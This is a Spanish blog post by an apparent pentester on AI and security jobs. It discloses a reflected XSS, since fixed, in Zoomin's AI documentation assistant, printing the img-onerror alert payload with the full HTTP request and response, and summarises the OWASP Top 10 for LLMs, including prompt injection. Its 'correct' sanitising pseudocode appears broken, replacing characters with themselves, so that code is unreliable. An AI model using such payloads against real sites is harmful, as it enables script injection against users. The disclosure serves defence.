¿La IA quitará empleos en ciberseguridad? Todo lo contrario: ¡Ejemplo de XSS en Zoomin!

En el contexto del creciente papel de la inteligencia artificial (IA) en diversos campos, la pregunta sobre su impacto en el mercado laboral de ciberseguridad se vuelve cada vez más relevante. Por un lado, la automatización y los sistemas inteligentes pueden acelerar y mejorar significativamente los procesos relacionados con la protección de datos e infraestructuras de TI. Por otro lado, existe la preocupación de que la IA pueda reemplazar a las personas en algunas funciones, reduciendo así el número de empleos disponibles. Según mis observaciones hasta ahora, ¡ocurrirá todo lo contrario (al menos para los especialistas en seguridad)!

Capacidades de la IA en ciberseguridad

La IA tiene la capacidad de analizar enormes cantidades de datos en poco tiempo, lo cual es crucial en ciberseguridad, donde la velocidad de respuesta ante amenazas suele ser decisiva. Los algoritmos de aprendizaje automático pueden detectar amenazas desconocidas previamente basándose en el análisis de patrones de comportamiento y datos históricos. Esto permite identificar y responder a incidentes de seguridad de manera más rápida y precisa. La automatización de los procesos de análisis y respuesta a amenazas puede llevar a la reducción de puestos de trabajo para los analistas de seguridad en niveles más bajos, quienes se encargan del monitoreo rutinario y la respuesta a alarmas. Por otro lado, surgen especialidades como la ingeniería de aprendizaje automático en ciberseguridad, la gestión de sistemas defensivos inteligentes y el análisis de amenazas avanzadas utilizando IA. Los especialistas no solo deberán entender el funcionamiento de las herramientas modernas de IA, sino también desarrollarlas y adaptarlas a necesidades específicas de seguridad.

Automatización de la creación de código = más errores de seguridad + nuevas clases de vulnerabilidades

Introducción de errores por herramientas automáticas

Nunca antes la creación de aplicaciones había sido tan fácil, accesible para personas no técnicas y rápida. Esto provoca un «boom» en la cantidad de nuevas aplicaciones. Además, hay un auge en la incorporación de elementos de IA al software existente. Sin embargo, la automatización, especialmente en forma de generadores de código o frameworks de desarrollo, puede llevar a la creación de errores y vulnerabilidades de seguridad no intencionadas. Estas herramientas, al operar basándose en patrones y algoritmos establecidos, pueden no considerar las condiciones específicas o los matices de seguridad que los desarrolladores experimentados sí comprenden y aplican. Por ejemplo, el código generado automáticamente puede no estar adecuadamente protegido contra ataques como SQL Injection o Cross-site Scripting (XSS) si la herramienta no está configurada correctamente para tener en cuenta estas amenazas.

XSS en Zoomin Zdocs

Un ejemplo de este tipo de error donde la inteligencia artificial se está implementando rápidamente es el simple «Reflected Cross-site Scripting» que encontré en la aplicación Zoomin Zdocs. Parece una gran idea introducir un asistente de IA para manejar la documentación de una aplicación, donde al hacerle una pregunta podemos saber cómo utilizar dicho software. Sin embargo, es importante recordar que las respuestas de la IA pueden ser impredecibles y causar errores de seguridad. En la aplicación Zoomin, solo fue necesario preguntarle al asistente su opinión sobre –

<img src=1 href=1 onerror="javascript:alert(document.domain)"></img>?

para que respondiera que no puede encontrar una respuesta a nuestra pregunta, citándola

I'm sorry, but I couldn't find a definitive answer to: <img src=1 href=1 onerror="javascript:alert(document.domain)"></img>?. Please provide more context or clarify your query.

La solicitud completa fue la siguiente:

POST /api/aisearch/stream HTTP/1.1
Host: docs.zoominsoftware.com
Referer: https://docs.zoominsoftware.com/search?q=%3Cimg%20src%3D1%20href%3D1%20onerror%3D%22javascript%3Aalert%28document.domain%29%22%3E%3C%2Fimg%3E%3F Content-Type: application/json
Content-Length: 132
Origin: https://docs.zoominsoftware.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close  

{"q":"<img src=1 href=1 onerror=\"javascript:alert(document.domain)\"></img>?","labelkey":[],"customer":"Zoomin","language":"en-US"}

Respuesta del servidor:

HTTP/2 200 OK
Date: Tue, 19 Mar 2024 19:50:37 GMT
Content-Type: text/plain; charset=utf-8
Content-Security-Policy: frame-ancestors 'self'
X-Frame-Options: DENY
Strict-Transport-Security: max-age=63072000; includeSubDomains
X-Content-Type-Options: nosniff Referrer-Policy: no-referrer-when-downgrade
X-Xss-Protection: 0
Feature-Policy: fullscreen *
X-Trace-Id: 2f16ebe9-9138-40e4-a568-27ab5d015ea2
X-Search-Results-Count: 3
X-Topic-References:
[{"page_id":"how_to_use_event_listeners_in_your_in-product_help_hosting_web_application.html","bundle_id":"IPH","title":"How to Use Event Listeners in Your In-Product Help Hosting Web Application","topic_target_link":"https://docs.zoominsoftware.com/bundle/IPH/page/how_to_use_event_listeners_in_your_in-product_help_hosting_web_application.html","language":"enus"},{"page_id":"about_the_zoomin_in-product_help_security_settings.html","bundle_id":"IPH","title":"About the Zoomin In-Product Help Security Settings","topic_target_link":"https://docs.zoominsoftware.com/bundle/IPH/page/about_the_zoomin_in-product_help_security_settings.html","language":"enus"},{"page_id":"ssl_certification.html","bundle_id":"zoomin-onboard","title":"SSL Certification","topic_target_link":"https://docs.zoominsoftware.com/bundle/zoomin-onboard/page/ssl_certification.html","language":"enus"}]  

I'm sorry, but I couldn't find a definitive answer to: <img src=1 href=1 onerror="javascript:alert(document.domain)"></img>?. Please provide more context or clarify your query.

Como se puede ver, los datos de entrada no se validaron ni sanitizaron adecuadamente, lo que resultó en la ejecución del código JavaScript inyectado:

Pseudocódigo de ejemplo con visualización de respuesta incorrecta:

function displayResponse(userInput):
# Leer los datos de entrada del usuario
query = userInput
# Mostrar la respuesta sin sanear los datos de entrada
# Esto es incorrecto, ya que permite la ejecución del script contenido en userInput
print("Respuesta a tu pregunta: " + query)

Pseudocódigo de ejemplo con visualización de respuesta correcta:

function sanitize(input):
# Eliminar o codificar caracteres especiales HTML en los datos de entrada, p. ej., <, >, ", ' y otros
return input.replace("<", "<").replace(">", ">").replace("\"", """).replace("'", "'")
function displayResponse(userInput):
# Leer los datos de entrada del usuario
query = userInput
# Sanear los datos de entrada
safeQuery = sanitize(query)
# Mostrar la respuesta de manera segura
# La sanitización previene la ejecución de código malicioso
print("Respuesta a tu pregunta: " + safeQuery)

La vulnerabilidad (junto con varias otras) fue reportada y corregida por el fabricante.

Reproducción de errores

Uno de los principales inconvenientes de la automatización es la replicación del mismo código en muchos lugares, lo que puede llevar a la propagación masiva de errores o vulnerabilidades. Cuando un error se encuentra en un componente que genera código (y la IA puede ser entrenada con código con errores), cualquier aplicación o sistema que utilice ese código está potencialmente expuesto. Este fenómeno escala el problema de seguridad, haciéndolo más difícil de gestionar y corregir.

Dificultades en la auditoría y revisión del código

El código generado automáticamente a menudo es complicado o se genera de una manera que no es intuitiva para los programadores «humanos». Esto puede dificultar las revisiones manuales del código, que son clave para identificar errores lógicos sutiles o vulnerabilidades de seguridad. La falta de transparencia y comprensión del código generado puede llevar a la omisión de problemas importantes durante las pruebas de seguridad.

Nuevas clases de vulnerabilidades

La automatización puede introducir nuevas clases de vulnerabilidades que serían menos probables en el caso de la creación manual de código. Por ejemplo, las dependencias entre los módulos generados automáticamente pueden no ser completamente comprendidas o controladas por los desarrolladores, lo que abre la puerta a ataques relacionados con dependencias y lógica de aplicaciones. También surgen nuevas clases de vulnerabilidades como la «inyección de prompt».

OWASP Top 10 para Aplicaciones de Modelos de Lenguaje Grandes

OWASP comenzó hace un año el trabajo para identificar y emitir recomendaciones de protección contra las mayores amenazas derivadas del uso de LLMA – OWASP Top 10 para LLLM. La lista es la siguiente:

LLM01: Inyección de prompt

La manipulación de un gran modelo de lenguaje (LLM) mediante datos de entrada apropiados provoca acciones no intencionadas por parte del LLM. Las inyecciones directas sobrescriben los prompts del sistema, mientras que las inyecciones indirectas manipulan los datos de fuentes externas.

LLM02: Manejo inseguro de salidas

Esta vulnerabilidad ocurre cuando la salida del LLM se acepta sin control, lo que puede exponer los sistemas backend. El abuso puede llevar a graves consecuencias como XSS, CSRF, SSRF, escalada de privilegios o ejecución remota de código.

LLM03: Envenenamiento de datos de entrenamiento

Ocurre cuando los datos de entrenamiento del LLM se manipulan, introduciendo vulnerabilidades o errores que afectan la seguridad, efectividad o comportamiento ético del modelo. Las fuentes incluyen Common Crawl, WebText, OpenWebText y libros.

LLM04: Delegación de modelo

Los atacantes provocan operaciones que consumen recursos en el LLM, lo que lleva a la degradación del servicio o altos costos. La vulnerabilidad se ve agravada por la intensidad de recursos del LLM y la imprevisibilidad de los datos de entrada del usuario.

LLM05: Vulnerabilidades en la cadena de suministro

El ciclo de vida de la aplicación LLM puede verse comprometido por componentes o servicios vulnerables, lo que lleva a ataques de seguridad. El uso de conjuntos de datos externos, modelos preentrenados y plugins puede aumentar la cantidad de vulnerabilidades.

LLM06: Divulgación de información confidencial

El LLM puede revelar accidentalmente datos confidenciales en sus respuestas, lo que lleva a accesos no autorizados, violaciones de privacidad y de seguridad. Es crucial implementar la sanitización de datos y estrictas políticas de uso para prevenir esto.

LLM07: Diseño inseguro de plugins

Los plugins del LLM pueden tener entradas no seguras y control de acceso insuficiente. La falta de controles en la aplicación facilita la explotación y puede llevar a consecuencias como la ejecución remota de código.

LLM08: Autonomía excesiva

Los sistemas basados en LLM pueden tomar acciones que llevan a resultados no intencionados. El problema surge de la funcionalidad excesiva, permisos demasiado amplios o autonomía otorgada a los sistemas basados en LLM.

LLM09: Dependencia excesiva

Los sistemas o personas que dependen demasiado de los LLM sin supervisión pueden estar expuestos a desinformación, errores de comunicación, problemas legales y errores de seguridad debido a contenido incorrecto o inapropiado generado por el LLM.

LLM10: Robo de modelo

Se refiere al acceso no autorizado, copia o robo de modelos propios del LLM. Las consecuencias incluyen pérdidas económicas, pérdida de ventaja competitiva y acceso potencial a información confidencial.

¿Qué hacer? ¿Cómo vivir?

OWASP, junto con la lista Top 10 para LLLM, emitió una serie de recomendaciones sobre un enfoque seguro para la implementación de LLM en su organización – LLM AI Cybersecurity & Governance Checklist. Presento las relacionadas con la programación a continuación:

  • Modelar amenazas para los componentes LLM y definir los límites de confianza de la arquitectura.
  • Seguridad de los datos: verificar cómo se clasifican y protegen los datos según su sensibilidad, incluidos los datos personales y corporativos. (¿Cómo se gestionan los permisos de los usuarios y qué mecanismos de protección se han implementado?)
  • Control de acceso: implementar controles de acceso según el principio de los menores privilegios y aplicar medidas de defensa en profundidad.
  • Seguridad del proceso de entrenamiento: requerir un control riguroso de la gestión de los datos de entrenamiento, procesos, modelos y algoritmos.
  • Seguridad de entrada y salida: evaluar los métodos de validación de entradas y cómo se filtran, sanitizan y aprueban las salidas.
  • Monitoreo y respuesta: mapear el flujo de trabajo, monitorear y responder para comprender la automatización, asegurar el registro y la auditoría. Confirmar la seguridad de los registros de auditoría.
  • Incluir pruebas de aplicaciones, revisión del código fuente, proceso de evaluación de vulnerabilidades y pruebas de penetración en el proceso de desarrollo del producto.
  • Verificar las vulnerabilidades existentes en el modelo LLM o la cadena de suministro.
  • Considerar el impacto de las amenazas y ataques en las soluciones LLM, como la inyección de prompt, la divulgación de información sensible y la manipulación del modelo.
  • Investigar el impacto de los ataques y amenazas en los modelos LLM, incluidos el envenenamiento del modelo, el manejo inadecuado de datos, los ataques a la cadena de suministro y el robo del modelo.
  • Seguridad de la cadena de suministro: requerir auditorías de terceros, pruebas de penetración y revisiones de código para proveedores externos (tanto al inicio como en un proceso regular).
  • Seguridad de la infraestructura: preguntar con qué frecuencia realiza pruebas de resistencia el proveedor. ¿Cuáles son sus SLA en términos de disponibilidad, escalabilidad y rendimiento?
  • Actualizar los manuales de respuesta a incidentes e incluir incidentes relacionados con LLM en el escenario continuo de ejercicios de seguridad.
  • Identificar o ampliar las métricas para comparar la IA generativa en ciberseguridad con otros enfoques para medir la mejora esperada en el rendimiento.

Chcesz wiedzieć więcej?

Zapisz się i bądź informowany o nowych postach (zero spamu!). Dodatkowo otrzymasz, moją prywatną listę 15 najbardziej przydatnych narzędzi (wraz z krótkim opisem), których używam przy testach penetracyjnych.

Nigdy nie podam, nie wymienię ani nie sprzedam Twojego adresu e-mail. W każdej chwili możesz zrezygnować z subskrypcji.

Etiquetado , , , , , , , , , , , , , .Enlace para bookmark : Enlace permanente.

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *